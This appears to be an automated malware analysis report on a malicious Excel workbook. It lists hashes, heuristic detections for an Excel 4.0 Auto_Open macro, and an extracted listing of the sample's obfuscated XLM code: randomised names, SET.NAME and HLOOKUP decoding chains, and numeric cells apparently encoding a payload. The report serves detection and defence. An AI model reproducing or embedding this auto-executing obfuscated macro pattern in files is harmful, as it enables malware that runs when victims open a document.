Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 09184ee8e4889e6e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:10 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 0c7270854ae02c81e91220443b6b1efe SHA-1: f95b10e2fc20c293c7a320fbc6c3f1675cb3b027 SHA-256: 09184ee8e4889e6e9c06067bf65d3ab2d47ac4bbbf1f870360f1cc454db7af36
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6623 bytes
SHA-256: 09f97cd4e608dc34949c175641e3fa3e3141e53b3749cbe81de48313411d639e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PBnCtq
' 0018     21 LABEL : Cell Value, String Constant - afBIAa len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C160 
' 0018     22 LABEL : Cell Value, String Constant - beILmfy len=0 
' 0018     23 LABEL : Cell Value, String Constant - BjdSuZLI len=0 
' 0018     20 LABEL : Cell Value, String Constant - gavGe len=0 
' 0018     23 LABEL : Cell Value, String Constant - HTDlDvCD len=0 
' 0018     22 LABEL : Cell Value, String Constant - IuPEyhq len=0 
' 0018     23 LABEL : Cell Value, String Constant - jGhiJuDx len=0 
' 0018     21 LABEL : Cell Value, String Constant - nDAqYL len=0 
' 0018     24 LABEL : Cell Value, String Constant - oEkUVPYRm len=0 
' 0018     20 LABEL : Cell Value, String Constant - reWPD len=0 
' 0018     25 LABEL : Cell Value, String Constant - SpRiKSsSrP len=0 
' 0018     27 LABEL : Cell Value, String Constant - TkfjwEUQkqso len=0 
' 0018     26 LABEL : Cell Value, String Constant - uGKmlDHfCjz len=0 
' 0018     20 LABEL : Cell Value, String Constant - vcDWR len=0 
' 0018     23 LABEL : Cell Value, String Constant - VmmIIWYR len=0 
' 0018     27 LABEL : Cell Value, String Constant - VNdemNVbcOHs len=0 
' 0018     20 LABEL : Cell Value, String Constant - vSciF len=0 
' 0018     22 LABEL : Cell Value, String Constant - wdFWlTy len=0 
' 0018     22 LABEL : Cell Value, String Constant - WMQRVXu len=0 
' 0018     21 LABEL : Cell Value, String Constant - wwaZHQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PBnCtq,C64,"SET.NAME("VNdemNVbcOHs",0+VALUE("0"))",""
'  PBnCtq,C69,"SET.NAME("reWPD",VNdemNVbcOHs)",""
'  PBnCtq,C73,"SET.NAME("vSciF",VNdemNVbcOHs)",""
'  PBnCtq,C78,"SET.NAME("VmmIIWYR",COUNTA(IuPEyhq))",""
'  PBnCtq,C80,"SET.NAME("beILmfy",COUNTA(jGhiJuDx))",""
'  PBnCtq,C84,[],""
'  PBnCtq,C88,"SET.NAME("wwaZHQ","")",""
'  PBnCtq,C92,"reWPD",""
'  PBnCtq,C94,"SET.NAME("BjdSuZLI",HLOOKUP("*",IuPEyhq,reWPD,FALSE))",""
'  PBnCtq,S95,"",499.00000000000000000000
'  PBnCtq,C96,"vcDWR",""
'  PBnCtq,S96,"",-933.00000000000000000000
'  PBnCtq,S97,"",461.00000000000000000000
'  PBnCtq,S98,"",574.00000000000000000000
'  PBnCtq,C99,"SET.NAME("wdFWlTy",VNdemNVbcOHs)",""
'  PBnCtq,S99,"",-66.00000000000000000000
'  PBnCtq,S100,"",-469.00000000000000000000
'  PBnCtq,C104,[],""
'  PBnCtq,C109,"wdFWlTy",""
'  PBnCtq,C113,"gavGe",""
'  PBnCtq,C115,"HTDlDvCD",""
'  PBnCtq,C119,"WMQRVXu",""
'  PBnCtq,C123,"SET.NAME("afBIAa",VALUE(HLOOKUP("*",jGhiJuDx,WMQRVXu,FALSE)))",""
'  PBnCtq,C128,"SpRiKSsSrP",""
'  PBnCtq,C131,"wwaZHQ",""
'  PBnCtq,C133,"vSciF",""
'  PBnCtq,C136,NEXT(),""
'  PBnCtq,C138,"oEkUVPYRm",""
'  PBnCtq,C143,[],""
'  PBnCtq,C148,"uGKmlDHfCjz",""
'  PBnCtq,C153,NEXT(),""
'  PBnCtq,C155,RETURN(),""
'  PBnCtq,C187,"SET.NAME("nDAqYL",C64)",""
'  PBnCtq,C189,"IuPEyhq",""
'  PBnCtq,C191,"SET.NAME("jGhiJuDx",R43C13)",""
'  PBnCtq,C195,"SET.NAME("uGKmlDHfCjz",203)",""
'  PBnCtq,C199,"SET.NAME("TkfjwEUQkqso",3)",""
'  PBnCtq,C202,nDAqYL(),""
'  PBnCtq,C203,HALT(),""

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